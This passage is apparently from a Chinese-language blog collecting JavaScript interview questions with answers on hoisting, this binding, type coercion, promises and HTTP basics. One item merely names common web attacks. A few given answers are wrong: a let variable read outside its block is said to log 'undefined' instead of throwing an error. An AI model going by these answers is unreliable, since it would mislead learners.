10086</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> b = a;</span><br><span class="line">a = <span class="number">20</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><p><strong>面试题7</strong></p><p>输出以下结果</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(<span class="keyword">function</span>(<span class="params">foo</span>)&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">typeof</span> foo.<span class="property">bar</span>;<span class="comment">//&quot;undefined&quot;</span></span><br><span class="line">&#125;)(&#123;<span class="attr">foo</span>:&#123;<span class="attr">bar</span>:<span class="number">1</span>&#125;&#125;)</span><br></pre></td></tr></table></figure><p><strong>面试题8</strong></p><p>请将下列两个数组按sort重新排序</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr1=[&#123;<span class="attr">index</span>: <span class="number">0</span>, <span class="attr">sort</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">1</span>, <span class="attr">sort</span>: <span class="number">3</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">2</span>, <span class="attr">sort</span>: <span class="number">4</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">3</span>, <span class="attr">sort</span>: <span class="number">1</span>&#125;]</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> arr2=[&#123;<span class="attr">index</span>: <span class="number">0</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">1</span>, <span class="attr">sort</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">3</span>, <span class="attr">sort</span>: <span class="number">1</span>&#125;]</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr1=[&#123;<span class="attr">index</span>: <span class="number">0</span>, <span class="attr">sort</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">1</span>, <span class="attr">sort</span>: <span class="number">3</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">2</span>, <span class="attr">sort</span>: <span class="number">4</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">3</span>, <span class="attr">sort</span>: <span class="number">1</span>&#125;];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr1.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a.<span class="property">sort</span> - b.<span class="property">sort</span> );</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="comment">// [&#123;index: 3, sort: 1&#125;, &#123;index: 0, sort: 2&#125;, &#123;index: 1, sort: 3&#125;, &#123;index: 2, sort: 4&#125;]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr2=[&#123;<span class="attr">index</span>: <span class="number">0</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">1</span>, <span class="attr">sort</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">2</span>&#125;, &#123;<span class="attr">index</span>: <span class="number">3</span>, <span class="attr">sort</span>: <span class="number">1</span>&#125;];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr2.<span class="title function_">filter</span>(<span class="function"><span class="params">item</span> =&gt;</span> item.<span class="property">sort</span>).<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a.<span class="property">sort</span> - b.<span class="property">sort</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="comment">// [&#123;index: 3, sort: 1&#125;, &#123;index: 1, sort: 2&#125;]</span></span><br></pre></td></tr></table></figure><h1 id="面试题库2"><a href="#面试题库2" class="headerlink" title="面试题库2"></a>面试题库2</h1><p><strong>[“1”, “2”, “3”].map(parseInt)答案是多少</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;3&#x27;</span>].<span class="title function_">map</span>(<span class="built_in">parseInt</span>); <span class="comment">//  [1, NaN, NaN]</span></span><br></pre></td></tr></table></figure><p><code>[1, NaN, NaN]</code>因为 <code>parseInt</code> 需要两个参数 <code>(val, radix)</code>，其中<code>radix</code> 表示解析时用的基数</p><p><code>map</code>传了 <code>3</code>个<code>(element, index, array)</code>，对应的 <code>radix</code> 不合法导致解析失败</p><p><strong>一个栈的输入顺序是12345，则下列序列中不可能是栈的输出顺序的是（）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A. <span class="number">23415</span></span><br><span class="line">B. <span class="number">54132</span></span><br><span class="line">C. <span class="number">23145</span></span><br><span class="line">D. <span class="number">15432</span></span><br><span class="line">答案： B</span><br></pre></td></tr></table></figure><p>解析：栈的出入原则是后进先出，选项B中显示5最先输出，说明其余四个元素已经入栈，其输出序列应为54321</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A. <span class="number">12345</span></span><br><span class="line">B. <span class="number">54321</span></span><br><span class="line">C. <span class="number">43512</span></span><br><span class="line">D. <span class="number">45321</span></span><br><span class="line">答案：C</span><br></pre></td></tr></table></figure><p><strong>函数aa()运行结果是（D）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> num = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">aa</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> num = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">num</span>;</span><br><span class="line">    &#125;()</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">aa</span>(); <span class="comment">// 0</span></span><br><span class="line">A. 报错</span><br><span class="line">B. <span class="literal">undefined</span></span><br><span class="line">C. <span class="number">1</span></span><br><span class="line">D. <span class="number">0</span></span><br></pre></td></tr></table></figure><p><strong>以下代码输出结果是（D）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span> <span class="title function_">g</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">23</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">typeof</span> <span class="title function_">g</span>(); <span class="comment">// Uncaught ReferenceError: g is not defined</span></span><br><span class="line">A. number</span><br><span class="line">B. <span class="literal">undefined</span></span><br><span class="line">C. funtion</span><br><span class="line">D. <span class="title class_">Error</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果是什么？为什么？</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="title function_">resolve</span>();</span><br><span class="line">&#125;)</span><br><span class="line">    p.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>);</span><br><span class="line">    &#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>);</span><br><span class="line">&#125;, <span class="number">1000</span>)</span><br><span class="line"><span class="comment">// 1 3 2</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">5</span>);</span><br><span class="line">    <span class="title function_">resolve</span>();</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">6</span>) &#125;, <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">7</span>;</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(v);</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">4</span>); <span class="comment">// 5 4 7 undefined 6</span></span><br></pre></td></tr></table></figure><p><strong>常见的Web攻击手段（AC）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A. 通过<span class="title function_">xss</span>(cross site script)跨站式脚本攻击</span><br><span class="line">B. 通过域名<span class="variable constant_">DNS</span>解析劫持</span><br><span class="line">C. 通过sql注入的方式</span><br><span class="line">D. 通过黑客攻击</span><br><span class="line"></span><br><span class="line"><span class="comment">// XSS(跨站脚本攻击)</span></span><br><span class="line"><span class="comment">// CSRF（跨站请求伪造）</span></span><br><span class="line"><span class="comment">// SQL注入</span></span><br><span class="line"><span class="comment">// DDOS</span></span><br></pre></td></tr></table></figure><p><strong>对 http 相关内容描述正确的是(BCD)</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"> A. <span class="number">301</span> 状态码是临时重定向</span><br><span class="line">B. get ⽅方式只能⽀支持 <span class="variable constant_">ASCII</span> 字符</span><br><span class="line">C. get 在从服务器上获取资源，post 重点在向服务器发送数据</span><br><span class="line">D. <span class="variable constant_">HTTPS</span> 就是 <span class="variable constant_">HTTP</span> 加上加密处理</span><br></pre></td></tr></table></figure><p><strong>设置元素浮动后，该元素的 display 值是多少( A )</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A. blockB. 不变 C. inlineD. inline-block</span><br></pre></td></tr></table></figure><p><strong>关于JavaScript里的xml处理，以下说明正确的是（BCD）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A. <span class="title class_">Xml</span>是种可扩展标记语言，格式更规范，是作为未来html的替代</span><br><span class="line">B. <span class="title class_">Xml</span>一般用于传输和存储数据，是对html的补充，两者的目的不同</span><br><span class="line">C. 在<span class="title class_">JavaScript</span>里解析和处理xml数据时，因为浏览器的不同，其做法也不同</span><br><span class="line">D. 在<span class="variable constant_">IE</span>浏览器里处理xml，首先需要创建<span class="title class_">ActiveXObject</span>对象</span><br></pre></td></tr></table></figure><h1 id="面试题库3"><a href="#面试题库3" class="headerlink" title="面试题库3"></a>面试题库3</h1><p><strong>下面输出结果</strong></p><p>JavaScript的规定，NaN表示的是非数字， 但是这个非数字也是不同的，因此，NaN 不等于 NaN，并且两个NaN永远不可能相等</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">NaN</span> == <span class="title class_">NaN</span>; <span class="comment">// false</span></span><br><span class="line"><span class="title class_">NaN</span> === <span class="title class_">NaN</span>; <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> num;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(num); <span class="comment">// undefined</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(num + <span class="number">10</span> === <span class="title class_">NaN</span>); <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> x = <span class="number">0.1</span>, y = <span class="number">0.2</span></span><br><span class="line">x + y === <span class="number">0.3</span>; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="literal">undefined</span> == <span class="literal">undefined</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">undefined</span> === <span class="literal">undefined</span>; <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line"><span class="literal">null</span> == <span class="literal">null</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">null</span> === <span class="literal">null</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>正确输出内容是什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> num = <span class="number">0</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(num++); <span class="comment">// 0</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(++num); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(num); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;12&#x27;</span>); <span class="comment">// 12</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;12a&#x27;</span>); <span class="comment">// 12</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;b12a&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;12&#x27;</span>); <span class="comment">// 12</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;12a&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;b12a&#x27;</span>); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Boolean</span>(<span class="number">1</span>); <span class="comment">// true</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="number">0</span>); <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Boolean</span>(-<span class="number">1</span>); <span class="comment">// true</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="string">&#x27;0&#x27;</span>); <span class="comment">// true</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="literal">undefined</span>); <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="literal">null</span>); <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="title class_">NaN</span>); <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="string">&#x27;&#x27;</span>); <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Boolean</span>(<span class="string">&#x27;hello&#x27;</span>); <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Boolean</span>([]); <span class="comment">// true</span></span><br><span class="line"><span class="title class_">Boolean</span>(&#123;&#125;); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">8</span> &lt; <span class="number">7</span> &amp;&amp; <span class="number">3</span> &lt; <span class="number">4</span>; <span class="comment">// false</span></span><br><span class="line">-<span class="number">2</span> &amp;&amp; <span class="number">6</span> + <span class="number">6</span> &amp;&amp; <span class="literal">null</span>; <span class="comment">// null</span></span><br><span class="line"><span class="number">1</span> + <span class="number">1</span> &amp;&amp; <span class="number">0</span> &amp; <span class="number">5</span>; <span class="comment">// 0</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">0</span> || <span class="number">23</span>; <span class="comment">// 23</span></span><br><span class="line"><span class="number">0</span> || <span class="literal">false</span> || <span class="literal">true</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">null</span> || <span class="number">10</span> &lt; <span class="number">8</span> || <span class="number">10</span> + <span class="number">10</span>; <span class="comment">// 20</span></span><br><span class="line"><span class="literal">null</span> || <span class="number">10</span> &lt; <span class="number">8</span> || <span class="literal">false</span>; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">-<span class="number">1</span> ? <span class="string">&#x27;aaa&#x27;</span> : <span class="string">&#x27;bbb&#x27;</span>; <span class="comment">// aaa</span></span><br><span class="line"><span class="string">&#x27;0&#x27;</span> ? <span class="string">&#x27;aaa&#x27;</span> : <span class="string">&#x27;bbb&#x27;</span>; <span class="comment">// aaa</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> n = <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">+n ? <span class="string">&#x27;aaa&#x27;</span> : <span class="string">&#x27;bbb&#x27;</span>; <span class="comment">// bbb</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Boolean</span>(+<span class="string">&#x27;0&#x27;</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><p>函数同名，以最后定义的为准</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">f1</span>();</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;aaa&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>();</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;bbb&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>();</span><br><span class="line"><span class="comment">// 输出结果是: bbb  bbb  bbb</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><p>函数同名，以最后定义的为准</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;函数1&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;函数2&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">10</span>, <span class="number">20</span>);</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="comment">// 函数2</span></span><br><span class="line"><span class="comment">// 函数2</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;aaa&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">a</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;bbb&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">a</span>();</span><br><span class="line"><span class="comment">// aaa</span></span><br><span class="line"><span class="comment">// bbb</span></span><br><span class="line">注意：匿名函数不会声明提升</span><br></pre></td></tr></table></figure><p><strong><code>上面3题解析</code></strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例1</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">2</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p>通过两个var声明了两次a变量，结果看起来像是后声明同名变量会覆盖之前的声明，是这样吗？</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例2</span></span><br><span class="line">a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><p>如果是覆盖，a应该是undefined才对，所以不应是覆盖</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例3</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><p>可见，在a声明之前打印a是undefined，我们知道在使用一个变量时必须声明，不然后报错</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例1</span></span><br><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="keyword">var</span> a; <span class="comment">// 重复声明会被忽视</span></span><br><span class="line">a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line">a = <span class="number">2</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 2</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">// 示例2</span></span><br><span class="line"><span class="keyword">var</span> a;</span><br><span class="line">a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">// 示例3</span></span><br><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">//undefined</span></span><br><span class="line">a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例4</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">10</span>); <span class="comment">// 10</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由此可见，函数的声明也会有提升的现象，与变量提升一致，也是在编译阶段处理声明</p><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">2</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">    <span class="keyword">let</span> b = <span class="number">3</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(b);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b);</span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"><span class="comment">// 3</span></span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"><span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">60</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">a</span>: <span class="number">10</span>,</span><br><span class="line">    <span class="attr">b</span>: <span class="variable language_">this</span>.<span class="property">a</span> + <span class="number">10</span>,</span><br><span class="line">    <span class="attr">fn</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">a</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> &#125;</span><br><span class="line">obj.<span class="property">a</span>; <span class="comment">// 10</span></span><br><span class="line">obj.<span class="property">b</span>; <span class="comment">// 70</span></span><br><span class="line">obj.<span class="title function_">fn</span>(); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">20</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">a</span>: <span class="number">10</span>,</span><br><span class="line">    <span class="attr">getA</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">a</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">getA</span>(); <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> test = obj.<span class="property">getA</span>;</span><br><span class="line"><span class="title function_">test</span>(); <span class="comment">// 20</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span> + <span class="variable language_">this</span>.<span class="property">age</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> a = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;aaa&#x27;</span>, <span class="number">10</span>);</span><br><span class="line">a.<span class="title function_">say</span>(); <span class="comment">// aaa10</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> b = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;bbb&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">b.<span class="title function_">say</span>(); <span class="comment">// bbb20</span></span><br><span class="line"></span><br><span class="line">b = a;</span><br><span class="line">b.<span class="title function_">say</span>(); <span class="comment">// aaa10</span></span><br><span class="line"></span><br><span class="line">a = b;</span><br><span class="line">a.<span class="title function_">say</span>(); <span class="comment">// aaa10</span></span><br></pre></td></tr></table></figure><p><strong>调用对象箭头函数，输出是什么？</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> age = <span class="number">20</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">age</span>: <span class="number">18</span>,</span><br><span class="line">    <span class="attr">say</span>: <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">say</span>(); <span class="comment">// 20</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> person = &#123; <span class="attr">name</span>: <span class="string">&#x27;aaa&#x27;</span> &#125;;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">say</span>(<span class="params">age</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;<span class="variable language_">this</span>.name&#125;</span> is <span class="subst">$&#123;age&#125;</span>`</span>;</span><br><span class="line">&#125;</span><br><span class="line">say.<span class="title function_">call</span>(person, <span class="number">21</span>); <span class="comment">// &quot;aaa is 21&quot;</span></span><br><span class="line">say.<span class="title function_">bind</span>(person, <span class="number">21</span>); <span class="comment">// f</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name</span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span>);</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">name</span> = <span class="string">&#x27;aaa&#x27;</span>;</span><br><span class="line">        &#125;, <span class="number">1000</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;Cat&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Tom&#x27;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span>);</span><br><span class="line">p.<span class="title function_">say</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title 